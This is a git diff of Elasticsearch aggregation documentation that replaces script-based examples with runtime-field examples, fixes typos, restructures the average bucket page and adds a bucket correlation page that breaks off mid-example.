[NOTE] ================================================== @@ -17,10 +16,10 @@ regarding approximation and memory use of the percentile ranks aggregation ================================================== Percentile rank show the percentage of observed values which are below certain -value. For example, if a value is greater than or equal to 95% of the observed values +value. For example, if a value is greater than or equal to 95% of the observed values it is said to be at the 95th percentile rank. -Assume your data consists of website load times. You may have a service agreement that +Assume your data consists of website load times. You may have a service agreement that 95% of page loads complete within 500ms and 99% of page loads complete within 600ms. Let's look at a range of percentiles representing load time: @@ -120,60 +119,54 @@ Response: ==== Script -The percentile rank metric supports scripting. For example, if our load times -are in milliseconds but we want to specify values in seconds, we could use -a script to convert them on-the-fly: +If you need to run the aggregation against values that aren't indexed, use +a <>. For example, if our load times +are in milliseconds but we want percentiles calculated in seconds: [source,console] --------------------------------------------------- +---- GET latency/_search { "size": 0, + "runtime_mappings": { + "load_time.seconds": { + "type": "long", + "script": { + "source": "emit(doc['load_time'].value / params.timeUnit)", + "params": { + "timeUnit": 1000 + } + } + } + }, "aggs": { "load_time_ranks": { "percentile_ranks": { "values": [ 500, 600 ], - "script": { - "lang": "painless", - "source": "doc['load_time'].value / params.timeUnit", <1> - "params": { - "timeUnit": 1000 <2> - } - } + "field": "load_time.seconds" } } } } --------------------------------------------------- +---- // TEST[setup:latency] +// TEST[s/_search/_search?filter_path=aggregations/] -<1> The `field` parameter is replaced with a `script` parameter, which uses the -script to generate values which percentile ranks are calculated on -<2> Scripting supports parameterized input just like any other script - -This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax: - -[source,console] +//// +[source,console-result] -------------------------------------------------- -GET latency/_search { - "size": 0, - "aggs": { + "aggregations": { "load_time_ranks": { - "percentile_ranks": { - "values": [ 500, 600 ], - "script": { - "id": "my_script", - "params": { - "field": "load_time" - } - } + "values": { + "500.0": 100.0, + "600.0": 100.0 } } } } -------------------------------------------------- -// TEST[setup:latency,stored_example_script] +//// ==== HDR Histogram diff --git a/docs/reference/aggregations/metrics/rate-aggregation.asciidoc b/docs/reference/aggregations/metrics/rate-aggregation.asciidoc index 6f2d186a998ef..ffc9d30c4bf91 100644 --- a/docs/reference/aggregations/metrics/rate-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/rate-aggregation.asciidoc @@ -7,7 +7,7 @@ ++++ A `rate` metrics aggregation can be used only inside a `date_histogram` and calculates a rate of documents or a field in each -`date_histogram` bucket. The field values can be generated by a provided script or extracted from specific numeric or +`date_histogram` bucket. The field values can be generated extracted from specific numeric or <> in the documents. ==== Syntax @@ -244,8 +244,6 @@ By default `sum` mode is used. `"mode": "sum"`:: calculate the sum of all values field `"mode": "value_count"`:: use the number of values in the field -The `mode` parameter can only be used with fields and scripts. - ==== Relationship between bucket sizes and rate The `rate` aggregation supports all rate that can be used <> of `date_histogram` @@ -268,14 +266,26 @@ is `day` based, only `second`, ` minute`, `hour`, `day`, and `week` rate interv ==== Script -The `rate` aggregation also supports scripting. For example, if we need to adjust out prices before calculating rates, we could use -a script to recalculate them on-the-fly: +If you need to run the aggregation against values that aren't indexed, run the +aggregation on a <>. For example, if we need to adjust +our prices before calculating rates: [source,console] --------------------------------------------------- +---- GET sales/_search { "size": 0, + "runtime_mappings": { + "price.adjusted": { + "type": "double", + "script": { + "source": "emit(doc['price'].value * params.adjustment)", + "params": { + "adjustment": 0.9 + } + } + } + }, "aggs": { "by_date": { "date_histogram": { @@ -285,28 +295,18 @@ GET sales/_search "aggs": { "avg_price": { "rate": { - "script": { <1> - "lang": "painless", - "source": "doc['price'].value * params.adjustment", - "params": { - "adjustment": 0.9 <2> - } - } + "field": "price.adjusted" } } } } } } --------------------------------------------------- +---- // TEST[setup:sales] -<1> The `field` parameter is replaced with a `script` parameter, which uses the -script to generate values which percentiles are calculated on. -<2> Scripting supports parameterized input just like any other script. - [source,console-result] --------------------------------------------------- +---- { ... "aggregations" : { @@ -340,5 +340,5 @@ script to generate values which percentiles are calculated on. } } } --------------------------------------------------- +---- // TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/] diff --git a/docs/reference/aggregations/metrics/stats-aggregation.asciidoc b/docs/reference/aggregations/metrics/stats-aggregation.asciidoc index d02a7ea2a5b0e..7e6ceefa5f651 100644 --- a/docs/reference/aggregations/metrics/stats-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/stats-aggregation.asciidoc @@ -4,7 +4,7 @@ Stats ++++ -A `multi-value` metrics aggregation that computes stats over numeric values extracted from the aggregated documents. These values can be extracted either from specific numeric fields in the documents, or be generated by a provided script. +A `multi-value` metrics aggregation that computes stats over numeric values extracted from the aggregated documents. The stats that are returned consist of: `min`, `max`, `sum`, `count` and `avg`. @@ -46,73 +46,51 @@ The name of the aggregation (`grades_stats` above) also serves as the key by whi ==== Script -Computing the grades stats based on a script: +If you need to get the `stats` for something more complex than a single field, +run the aggregation on a <>. [source,console] -------------------------------------------------- -POST /exams/_search?size=0 +POST /exams/_search { + "size": 0, + "runtime_mappings": { + "grade.weighted": { + "type": "double", + "script": """ + emit(doc['grade'].value * doc['weight'].value) + """ + } + }, "aggs": { "grades_stats": { "stats": { - "script": { - "lang": "painless", - "source": "doc['grade'].value" - } + "field": "grade.weighted" } } } } -------------------------------------------------- // TEST[setup:exams] +// TEST[s/_search/_search?filter_path=aggregations/] -This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax: - -[source,console] +//// +[source,console-result] -------------------------------------------------- -POST /exams/_search?size=0 { - "aggs": { + "aggregations": { "grades_stats": { - "stats": { - "script": { - "id": "my_script", - "params": { - "field": "grade" - } - } - } + "count": 2, + "min": 150.0, + "max": 200.0, + "avg": 175.0, + "sum": 350.0 } } } -------------------------------------------------- -// TEST[setup:exams,stored_example_script] +//// -===== Value Script - -It turned out that the exam was way above the level of the students and a grade correction needs to be applied. We can use a value script to get the new stats: - -[source,console] --------------------------------------------------- -POST /exams/_search?size=0 -{ - "aggs": { - "grades_stats": { - "stats": { - "field": "grade", - "script": { - "lang": "painless", - "source": "_value * params.correction", - "params": { - "correction": 1.2 - } - } - } - } - } -} --------------------------------------------------- -// TEST[setup:exams] ==== Missing value diff --git a/docs/reference/aggregations/metrics/string-stats-aggregation.asciidoc b/docs/reference/aggregations/metrics/string-stats-aggregation.asciidoc index 41a5283b27315..fa609b9237dd4 100644 --- a/docs/reference/aggregations/metrics/string-stats-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/string-stats-aggregation.asciidoc @@ -7,10 +7,7 @@ ++++ A `multi-value` metrics aggregation that computes statistics over string values extracted from the aggregated documents. -These values can be retrieved either from specific `keyword` fields in the documents or can be generated by a provided script. - -WARNING: Using scripts can result in slower search speeds. See -<>. +These values can be retrieved either from specific `keyword` fields. The string stats aggregation returns the following results: @@ -130,74 +127,48 @@ The `distribution` object shows the probability of each character appearing in a ==== Script -Computing the message string stats based on a script: +If you need to get the `string_stats` for something more complex than a single +field, run the aggregation on a <>. [source,console] --------------------------------------------------- -POST /my-index-000001/_search?size=0 +---- +POST /my-index-000001/_search { - "aggs": { - "message_stats": { - "string_stats": { - "script": { - "lang": "painless", - "source": "doc['message.keyword'].value" - } - } + "size": 0, + "runtime_mappings": { + "message_and_context": { + "type": "keyword", + "script": """ + emit(doc['message.keyword'].value + ' ' + doc['context.keyword'].value) + """ } - } -} --------------------------------------------------- -// TEST[setup:messages] - -This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. -To use a stored script use the following syntax: - -[source,console] --------------------------------------------------- -POST /my-index-000001/_search?size=0 -{ + }, "aggs": { "message_stats": { - "string_stats": { - "script": { - "id": "my_script", - "params": { - "field": "message.keyword" - } - } - } + "string_stats": { "field": "message_and_context" } } } } --------------------------------------------------- -// TEST[setup:messages,stored_example_script] - -===== Value Script - -We can use a value script to modify the message (eg we can add a prefix) and compute the new stats: +---- +// TEST[setup:messages] +// TEST[s/_search/_search?filter_path=aggregations/] -[source,console] --------------------------------------------------- -POST /my-index-000001/_search?size=0 +//// +[source,console-result] +---- { - "aggs": { + "aggregations": { "message_stats": { - "string_stats": { - "field": "message.keyword", - "script": { - "lang": "painless", - "source": "params.prefix + _value", - "params": { - "prefix": "Message: " - } - } - } + "count": 5, + "min_length": 28, + "max_length": 34, + "avg_length": 32.8, + "entropy": 3.9797778402765784 } } } --------------------------------------------------- -// TEST[setup:messages] +---- +//// ==== Missing value diff --git a/docs/reference/aggregations/metrics/sum-aggregation.asciidoc b/docs/reference/aggregations/metrics/sum-aggregation.asciidoc index c7bd15067c2a4..20218303dce49 100644 --- a/docs/reference/aggregations/metrics/sum-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/sum-aggregation.asciidoc @@ -5,8 +5,7 @@ ++++ A `single-value` metrics aggregation that sums up numeric values that are extracted from the aggregated documents. -These values can be extracted either from specific numeric or <> fields in the documents, -or be generated by a provided script. +These values can be extracted either from specific numeric or <> fields. Assuming the data consists of documents representing sales records we can sum the sale price of all hats with: @@ -48,38 +47,25 @@ The name of the aggregation (`hat_prices` above) also serves as the key by which ==== Script -We could also use a script to fetch the sales price: +If you need to get the `sum` for something more complex than a single +field, run the aggregation on a <>. [source,console] --------------------------------------------------- +---- POST /sales/_search?size=0 { - "query": { - "constant_score": { - "filter": { - "match": { "type": "hat" } - } - } - }, - "aggs": { - "hat_prices": { - "sum": { - "script": { - "source": "doc.price.value" + "runtime_mappings": { + "price.weighted": { + "type": "double", + "script": """ + double price = doc['price'].value; + if (doc['promoted'].value) { + price *= 0.8; } - } + emit(price); + """ } - } -} --------------------------------------------------- -// TEST[setup:sales] - -This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax: - -[source,console] --------------------------------------------------- -POST /sales/_search?size=0 -{ + }, "query": { "constant_score": { "filter": { @@ -90,48 +76,27 @@ POST /sales/_search?size=0 "aggs": { "hat_prices": { "sum": { - "script": { - "id": "my_script", - "params": { - "field": "price" - } - } + "field": "price.weighted" } } } } --------------------------------------------------- -// TEST[setup:sales,stored_example_script] - -===== Value Script - -It is also possible to access the field value from the script using `_value`. -For example, this will sum the square of the prices for all hats: +---- +// TEST[setup:sales] +// TEST[s/size=0/size=0&filter_path=aggregations/] -[source,console] --------------------------------------------------- -POST /sales/_search?size=0 +//// +[source,console-result] +---- { - "query": { - "constant_score": { - "filter": { - "match": { "type": "hat" } - } - } - }, - "aggs": { - "square_hats": { - "sum": { - "field": "price", - "script": { - "source": "_value * _value" - } - } + "aggregations": { + "hat_prices": { + "value": 370.0 } } } --------------------------------------------------- -// TEST[setup:sales] +---- +//// ==== Missing value diff --git a/docs/reference/aggregations/metrics/t-test-aggregation.asciidoc b/docs/reference/aggregations/metrics/t-test-aggregation.asciidoc index 969ce25104184..641684d4b89c7 100644 --- a/docs/reference/aggregations/metrics/t-test-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/t-test-aggregation.asciidoc @@ -7,7 +7,7 @@ ++++ A `t_test` metrics aggregation that performs a statistical hypothesis test in which the test statistic follows a Student's t-distribution -under the null hypothesis on numeric values extracted from the aggregated documents or generated by provided scripts. In practice, this +under the null hypothesis on numeric values extracted from the aggregated documents. In practice, this will tell you if the difference between two population means are statistically significant and did not occur by chance alone. ==== Syntax @@ -136,45 +136,58 @@ GET node_upgrade/_search // TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/] <1> The p-value. -In this example, we are using the same fields for both populations. However this is not a requirement and different fields and even -combination of fields and scripts can be used. Populations don't have to be in the same index either. If data sets are located in different +Populations don't have to be in the same index. If data sets are located in different indices, the term filter on the <> field can be used to select populations. ==== Script -The `t_test` metric supports scripting. For example, if we need to adjust out load times for the before values, we could use -a script to recalculate them on-the-fly: +If you need to run the `t_test` on values that aren't represented cleanly +by a field you should, run the aggregation on a <>. +For example, if you want to adjust out load times for the before values: [source,console] --------------------------------------------------- +---- GET node_upgrade/_search { "size": 0, + "runtime_mappings": { + "startup_time_before.adjusted": { + "type": "long", + "script": { + "source": "emit(doc['startup_time_before'].value - params.adjustment)", + "params": { + "adjustment": 10 + } + } + } + }, "aggs": { "startup_time_ttest": { "t_test": { "a": { - "script": { - "lang": "painless", - "source": "doc['startup_time_before'].value - params.adjustment", <1> - "params": { - "adjustment": 10 <2> - } - } + "field": "startup_time_before.adjusted" }, "b": { - "field": "startup_time_after" <3> + "field": "startup_time_after" }, "type": "paired" } } } } --------------------------------------------------- +---- // TEST[setup:node_upgrade] +// TEST[s/_search/_search?filter_path=aggregations/] -<1> The `field` parameter is replaced with a `script` parameter, which uses the -script to generate values which percentiles are calculated on. -<2> Scripting supports parameterized input just like any other script. -<3> We can mix scripts and fields. - +//// +[source,console-result] +---- +{ + "aggregations": { + "startup_time_ttest": { + "value": 0.9397399375119482 + } + } +} +---- +//// diff --git a/docs/reference/aggregations/metrics/top-metrics-aggregation.asciidoc b/docs/reference/aggregations/metrics/top-metrics-aggregation.asciidoc index 2ecd52412dd68..d3daba17501fc 100644 --- a/docs/reference/aggregations/metrics/top-metrics-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/top-metrics-aggregation.asciidoc @@ -334,8 +334,8 @@ Which returns: ===== Mixed sort types Sorting `top_metrics` by a field that has different types across different -indices producs somewhat suprising results: floating point fields are -always sorted independantly of whole numbered fields. +indices producs somewhat surprising results: floating point fields are +always sorted independently of whole numbered fields. [source,console,id=search-aggregations-metrics-top-metrics-mixed-sort] ---- @@ -374,7 +374,7 @@ Which returns: // TESTRESPONSE While this is better than an error it *probably* isn't what you were going for. -While it does lose some precision, you can explictly cast the whole number +While it does lose some precision, you can explicitly cast the whole number fields to floating points with something like: [source,console] diff --git a/docs/reference/aggregations/metrics/valuecount-aggregation.asciidoc b/docs/reference/aggregations/metrics/valuecount-aggregation.asciidoc index 8895ecae60cbe..50fc210ed4057 100644 --- a/docs/reference/aggregations/metrics/valuecount-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/valuecount-aggregation.asciidoc @@ -9,8 +9,7 @@ These values can be extracted either from specific fields in the documents, or b this aggregator will be used in conjunction with other single-value aggregations. For example, when computing the `avg` one might be interested in the number of values the average is computed over. -`value_count` does not de-duplicate values, so even if a field has duplicates (or a script generates multiple -identical values for a single document), each value will be counted individually. +`value_count` does not de-duplicate values, so even if a field has duplicates each value will be counted individually. [source,console] -------------------------------------------------- @@ -43,50 +42,49 @@ retrieved from the returned response. ==== Script -Counting the values generated by a script: +If you need to count something more complex than the values in a single field +you should run the aggregation on a <>. [source,console] --------------------------------------------------- -POST /sales/_search?size=0 +---- +POST /sales/_search { + "size": 0, + "runtime_mappings": { + "tags": { + "type": "keyword", + "script": """ + emit(doc['type'].value); + if (doc['promoted'].value) { + emit('hot'); + } + """ + } + }, "aggs": { - "type_count": { + "tags_count": { "value_count": { - "script": { - "source": "doc['type'].value" - } + "field": "tags" } } } } --------------------------------------------------- +---- // TEST[setup:sales] +// TEST[s/_search/_search?filter_path=aggregations/] -This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax: - -[source,console] --------------------------------------------------- -POST /sales/_search?size=0 +//// +[source,console-result] +---- { - "aggs": { - "types_count": { - "value_count": { - "script": { - "id": "my_script", - "params": { - "field": "type" - } - } - } + "aggregations": { + "tags_count": { + "value": 12 } } } --------------------------------------------------- -// TEST[setup:sales,stored_example_script] - -NOTE:: Because `value_count` is designed to work with any field it internally treats all values as simple bytes. -Due to this implementation, if `_value` script variable is used to fetch a value instead of accessing the field -directly (e.g. a "value script"), the field value will be returned as a string instead of it's native format. +---- +//// [[search-aggregations-metrics-valuecount-aggregation-histogram-fields]] ==== Histogram fields diff --git a/docs/reference/aggregations/metrics/weighted-avg-aggregation.asciidoc b/docs/reference/aggregations/metrics/weighted-avg-aggregation.asciidoc index c9955571b5ebb..164d2307d02a3 100644 --- a/docs/reference/aggregations/metrics/weighted-avg-aggregation.asciidoc +++ b/docs/reference/aggregations/metrics/weighted-avg-aggregation.asciidoc @@ -5,11 +5,11 @@ ++++ A `single-value` metrics aggregation that computes the weighted average of numeric values that are extracted from the aggregated documents. -These values can be extracted either from specific numeric fields in the documents, or provided by a script. +These values can be extracted either from specific numeric fields in the documents. -When calculating a regular average, each datapoint has an equal "weight" ... it contributes equally to the final value. Weighted averages, -on the other hand, weight each datapoint differently. The amount that each datapoint contributes to the final value is extracted from the -document, or provided by a script. +When calculating a regular average, each datapoint has an equal "weight" ... it contributes equally to the final value. Weighted averages, +on the other hand, weight each datapoint differently. The amount that each datapoint contributes to the final value is extracted from the +document. As a formula, a weighted average is the `∑(value * weight) / ∑(weight)` @@ -23,7 +23,6 @@ A regular average can be thought of as a weighted average where every value has |`value` | The configuration for the field or script that provides the values |Required | |`weight` | The configuration for the field or script that provides the weights |Required | |`format` | The numeric response formatter |Optional | -|`value_type` | A hint about the values for pure scripts or unmapped fields |Optional | |=== The `value` and `weight` objects have per-field specific configuration: @@ -35,7 +34,6 @@ The `value` and `weight` objects have per-field specific configuration: |Parameter Name |Description |Required |Default Value |`field` | The field that values should be extracted from |Required | |`missing` | A value to use if the field is missing entirely |Optional | -|`script` | A script which provides the values for the document. This is mutually exclusive with `field` |Optional |=== [[weight-params]] @@ -45,7 +43,6 @@ The `value` and `weight` objects have per-field specific configuration: |Parameter Name |Description |Required |Default Value |`field` | The field that weights should be extracted from |Required | |`missing` | A weight to use if the field is missing entirely |Optional | -|`script` | A script which provides the weights for the document. This is mutually exclusive with `field` |Optional |=== @@ -91,10 +88,10 @@ Which yields a response like: // TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/] -While multiple values-per-field are allowed, only one weight is allowed. If the aggregation encounters -a document that has more than one weight (e.g. the weight field is a multi-valued field) it will throw an exception. -If you have this situation, you will need to specify a `script` for the weight field, and use the script -to combine the multiple values into a single value to be used. +While multiple values-per-field are allowed, only one weight is allowed. If the aggregation encounters +a document that has more than one weight (e.g. the weight field is a multi-valued field) it will abort the search. +If you have this situation, you should build a <> +to combine those values into a single weight. This single weight will be applied independently to each value extracted from the `value` field. @@ -145,16 +142,40 @@ The three values (`1`, `2`, and `3`) will be included as independent values, all The aggregation returns `2.0` as the result, which matches what we would expect when calculating by hand: `((1*2) + (2*2) + (3*2)) / (2+2+2) == 2` -==== Script +[[search-aggregations-metrics-weight-avg-aggregation-runtime-field]] +==== Runtime field -Both the value and the weight can be derived from a script, instead of a field. As a simple example, the following -will add one to the grade and weight in the document using a script: +If you have to sum or weigh values that don't quite line up with the indexed +values, run the aggregation on a <>. [source,console] --------------------------------------------------- -POST /exams/_search +---- +POST /exams/_doc?refresh +{ + "grade": 100, + "weight": [2, 3] +} +POST /exams/_doc?refresh +{ + "grade": 80, + "weight": 3 +} + +POST /exams/_search?filter_path=aggregations { "size": 0, + "runtime_mappings": { + "weight.combined": { + "type": "double", + "script": """ + double s = 0; + for (double w : doc['weight']) { + s += w; + } + emit(s); + """ + } + }, "aggs": { "weighted_grade": { "weighted_avg": { @@ -162,14 +183,26 @@ POST /exams/_search "script": "doc.grade.value + 1" }, "weight": { - "script": "doc.weight.value + 1" + "field": "weight.combined" } } } } } --------------------------------------------------- -// TEST[setup:exams] +---- + +Which should look like: + +[source,console-result] +---- +{ + "aggregations": { + "weighted_grade": { + "value": 93.5 + } + } +} +---- ==== Missing values @@ -204,4 +237,3 @@ POST /exams/_search } -------------------------------------------------- // TEST[setup:exams] - diff --git a/docs/reference/aggregations/pipeline.asciidoc b/docs/reference/aggregations/pipeline.asciidoc index c89cfeb7043d9..0f56b48830b5e 100644 --- a/docs/reference/aggregations/pipeline.asciidoc +++ b/docs/reference/aggregations/pipeline.asciidoc @@ -19,7 +19,7 @@ parameter to indicate the paths to the required metrics. The syntax for defining <> section below. Pipeline aggregations cannot have sub-aggregations but depending on the type it can reference another pipeline in the `buckets_path` -allowing pipeline aggregations to be chained. For example, you can chain together two derivatives to calculate the second derivative +allowing pipeline aggregations to be chained. For example, you can chain together two derivatives to calculate the second derivative (i.e. a derivative of a derivative). NOTE: Because pipeline aggregations only add to the output, when chaining pipeline aggregations the output of each pipeline aggregation @@ -29,7 +29,7 @@ will be included in the final output. [discrete] === `buckets_path` Syntax -Most pipeline aggregations require another aggregation as their input. The input aggregation is defined via the `buckets_path` +Most pipeline aggregations require another aggregation as their input. The input aggregation is defined via the `buckets_path` parameter, which follows a specific format: // https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_Form @@ -77,7 +77,7 @@ POST /_search <2> The `buckets_path` refers to the metric via a relative path `"the_sum"` `buckets_path` is also used for Sibling pipeline aggregations, where the aggregation is "next" to a series of buckets -instead of embedded "inside" them. For example, the `max_bucket` aggregation uses the `buckets_path` to specify +instead of embedded "inside" them. For example, the `max_bucket` aggregation uses the `buckets_path` to specify a metric embedded inside a sibling aggregation: [source,console,id=buckets-path-sibling-example] @@ -112,7 +112,7 @@ POST /_search `sales_per_month` date histogram. If a Sibling pipeline agg references a multi-bucket aggregation, such as a `terms` agg, it also has the option to -select specific keys from the multi-bucket. For example, a `bucket_script` could select two specific buckets (via +select specific keys from the multi-bucket. For example, a `bucket_script` could select two specific buckets (via their bucket keys) to perform the calculation: [source,console,id=buckets-path-specific-bucket-example] @@ -160,8 +160,8 @@ instead of fetching all the buckets from `sale_type` aggregation [discrete] === Special Paths -Instead of pathing to a metric, `buckets_path` can use a special `"_count"` path. This instructs -the pipeline aggregation to use the document count as its input. For example, a derivative can be calculated +Instead of pathing to a metric, `buckets_path` can use a special `"_count"` path. This instructs +the pipeline aggregation to use the document count as its input. For example, a derivative can be calculated on the document count of each bucket, instead of a specific metric: [source,console,id=buckets-path-count-example] @@ -246,7 +246,7 @@ may be referred to as: [discrete] === Dealing with gaps in the data -Data in the real world is often noisy and sometimes contains *gaps* -- places where data simply doesn't exist. This can +Data in the real world is often noisy and sometimes contains *gaps* -- places where data simply doesn't exist. This can occur for a variety of reasons, the most common being: * Documents falling into a bucket do not contain a required field @@ -256,11 +256,11 @@ Some pipeline aggregations have specific requirements that must be met (e.g. a d first value because there is no previous value, HoltWinters moving average need "warmup" data to begin calculating, etc) Gap policies are a mechanism to inform the pipeline aggregation about the desired behavior when "gappy" or missing -data is encountered. All pipeline aggregations accept the `gap_policy` parameter. There are currently two gap policies +data is encountered. All pipeline aggregations accept the `gap_policy` parameter. There are currently two gap policies to choose from: _skip_:: - This option treats missing data as if the bucket does not exist. It will skip the bucket and continue + This option treats missing data as if the bucket does not exist. It will skip the bucket and continue calculating using the next available value. _insert_zeros_:: diff --git a/docs/reference/aggregations/pipeline/avg-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/avg-bucket-aggregation.asciidoc index 27ad8fbbe5ec3..b2da59996d1cb 100644 --- a/docs/reference/aggregations/pipeline/avg-bucket-aggregation.asciidoc +++ b/docs/reference/aggregations/pipeline/avg-bucket-aggregation.asciidoc @@ -1,44 +1,61 @@ [[search-aggregations-pipeline-avg-bucket-aggregation]] -=== Avg bucket aggregation +=== Average bucket aggregation ++++ -Avg bucket +Average bucket ++++ -A sibling pipeline aggregation which calculates the (mean) average value of a specified metric in a sibling aggregation. -The specified metric must be numeric and the sibling aggregation must be a multi-bucket aggregation. +A sibling pipeline aggregation which calculates the mean value of a specified +metric in a sibling aggregation. The specified metric must be numeric and the +sibling aggregation must be a multi-bucket aggregation. [[avg-bucket-agg-syntax]] ==== Syntax -An `avg_bucket` aggregation looks like this in isolation: - -[source,js] --------------------------------------------------- -{ - "avg_bucket": { - "buckets_path": "the_sum" - } -} --------------------------------------------------- +[source,js,indent=0] +---- +include::avg-bucket-aggregation.asciidoc[tag=avg-bucket-agg-syntax] +---- // NOTCONSOLE [[avg-bucket-params]] -.`avg_bucket` Parameters -[options="header"] -|=== -|Parameter Name |Description |Required |Default Value -|`buckets_path` |The path to the buckets we wish to find the average for (see <> for more - details) |Required | - |`gap_policy` |The policy to apply when gaps are found in the data (see <> for more - details) |Optional |`skip` - |`format` |format to apply to the output value of this aggregation |Optional | `null` -|=== - -The following snippet calculates the average of the total monthly `sales`: - -[source,console] --------------------------------------------------- -POST /_search +==== Parameters + +`buckets_path`:: +(Required, string) +Path to the buckets to average. For syntax, see <>. + +`gap_policy`:: +(Optional, string) +Policy to apply when gaps are found in the data. For valid values, see +<>. Defaults to `skip`. + +`format`:: +(Optional, string) +{javadoc}/java.base/java/text/DecimalFormat.html[DecimalFormat pattern] for the +output value. If specified, the formatted value is returned in the aggregation's +`value_as_string` property. + +[[avg-bucket-agg-response]] +==== Response body + +`value`:: +(float) +Mean average value for the metric specified in `buckets_path`. + +`value_as_string`:: +(string) +Formatted output value for the aggregation. This property is only provided if +a `format` is specified in the request. + +[[avg-bucket-agg-ex]] +==== Example + +The following `avg_monthly_sales` aggregation uses `avg_bucket` to calculate +average sales per month: + +[source,console,subs="specialchars+"] +---- +POST _search { "size": 0, "aggs": { @@ -56,63 +73,67 @@ POST /_search } }, "avg_monthly_sales": { +// tag::avg-bucket-agg-syntax[] <1> "avg_bucket": { - "buckets_path": "sales_per_month>sales" <1> + "buckets_path": "sales_per_month>sales", + "gap_policy": "skip", + "format": "#,##0.00;(#,##0.00)" } +// end::avg-bucket-agg-syntax[] <2> } } } - --------------------------------------------------- +---- // TEST[setup:sales] -<1> `buckets_path` instructs this avg_bucket aggregation that we want the (mean) average value of the `sales` aggregation in the -`sales_per_month` date histogram. +<1> Start of the `avg_bucket` configuration. Comment is not part of the example. +<2> End of the `avg_bucket` configuration. Comment is not part of the example. -And the following may be the response: +The request returns the following response: [source,console-result] --------------------------------------------------- +---- { - "took": 11, - "timed_out": false, - "_shards": ..., - "hits": ..., - "aggregations": { - "sales_per_month": { - "buckets": [ - { - "key_as_string": "2015/01/01 00:00:00", - "key": 1420070400000, - "doc_count": 3, - "sales": { - "value": 550.0 - } - }, - { - "key_as_string": "2015/02/01 00:00:00", - "key": 1422748800000, - "doc_count": 2, - "sales": { - "value": 60.0 - } - }, - { - "key_as_string": "2015/03/01 00:00:00", - "key": 1425168000000, - "doc_count": 2, - "sales": { - "value": 375.0 - } - } - ] - }, - "avg_monthly_sales": { - "value": 328.33333333333333 - } - } + "took": 11, + "timed_out": false, + "_shards": ..., + "hits": ..., + "aggregations": { + "sales_per_month": { + "buckets": [ + { + "key_as_string": "2015/01/01 00:00:00", + "key": 1420070400000, + "doc_count": 3, + "sales": { + "value": 550.0 + } + }, + { + "key_as_string": "2015/02/01 00:00:00", + "key": 1422748800000, + "doc_count": 2, + "sales": { + "value": 60.0 + } + }, + { + "key_as_string": "2015/03/01 00:00:00", + "key": 1425168000000, + "doc_count": 2, + "sales": { + "value": 375.0 + } + } + ] + }, + "avg_monthly_sales": { + "value": 328.33333333333333, + "value_as_string": "328.33" + } + } } --------------------------------------------------- +---- // TESTRESPONSE[s/"took": 11/"took": $body.took/] // TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/] // TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/] diff --git a/docs/reference/aggregations/pipeline/bucket-correlation-aggregation.asciidoc b/docs/reference/aggregations/pipeline/bucket-correlation-aggregation.asciidoc new file mode 100644 index 0000000000000..d60d5f9f54114 --- /dev/null +++ b/docs/reference/aggregations/pipeline/bucket-correlation-aggregation.asciidoc @@ -0,0 +1,319 @@ +[role="xpack"] +[testenv="basic"] +[[search-aggregations-bucket-correlation-aggregation]] +=== Bucket correlation aggregation +++++ +Bucket correlation aggregation +++++ + +experimental::[] + +A sibling pipeline aggregation which executes a correlation function on the +configured sibling multi-bucket aggregation. + + +[[bucket-correlation-agg-syntax]] +==== Parameters + +`buckets_path`:: +(Required, string) +Path to the buckets that contain one set of values to correlate. +For syntax, see <>. + +`function`:: +(Required, object) +The correlation function to execute. ++ +.Properties of `function` +[%collapsible%open] +==== +`count_correlation`::: +(Required^*^, object) +The configuration to calculate a count correlation. This function is designed for +determining the correlation of a term value and a given metric. Consequently, it +needs to meet the following requirements. + +* The `buckets_path` must point to a `_count` metric. +* The total count of all the `bucket_path` count values must be less than or equal to `indicator.doc_count`. +* When utilizing this function, an initial calculation to gather the required `indicator` values is required. + +.Properties of `count_correlation` +[%collapsible%open] +===== +`indicator`::: +(Required, object) +The indicator with which to correlate the configured `bucket_path` values. + +.Properties of `indicator` +[%collapsible%open] +===== +`expectations`::: +(Required, array) +An array of numbers with which to correlate the configured `bucket_path` values. The length of this value must always equal +the number of buckets returned by the `bucket_path`. + +`fractions`::: +(Optional, array) +An array of fractions to use when averaging and calculating variance. This should be used if the pre-calculated data and the +`buckets_path` have known gaps. The length of `fractions`, if provided, must equal `expectations`. + +`doc_count`::: +(Required, integer) +The total number of documents that initially created the `expectations`. It's required to be greater than or equal to the sum +of all values in the `buckets_path` as this is the originating superset of data to which the term values are correlated. +===== +===== +==== + +==== Syntax + +A `bucket_correlation` aggregation looks like this in isolation: + +[source,js] +-------------------------------------------------- +{ + "bucket_correlation": { + "buckets_path": "range_values>_count", <1> + "function": { + "count_correlation": { <2> + "expectations": [...], + "doc_count": 10000 + } + } + } +} +-------------------------------------------------- +// NOTCONSOLE +<1> The buckets containing the values to correlate against. +<2> The correlation function definition. + + +[[bucket-correlation-agg-example]] +==== Example + +The following snippet correlates the individual terms in the field `version` with the `latency` metric. Not shown +is the pre-calculation of the `latency` indicator values, which was done utilizing the +<> aggregation. + +This example is only using the 10s percentiles. + +[source,console] +------------------------------------------------- +POST correlate_latency/_search?size=0&filter_path=aggregations +{ + "aggs": { + "buckets": { + "terms": { + "field": "version", + "size": 2 + }, + "aggs": { + "latency_ranges": { + "range": { + "field": "latency", + "ranges": [ + { "to": 0.0 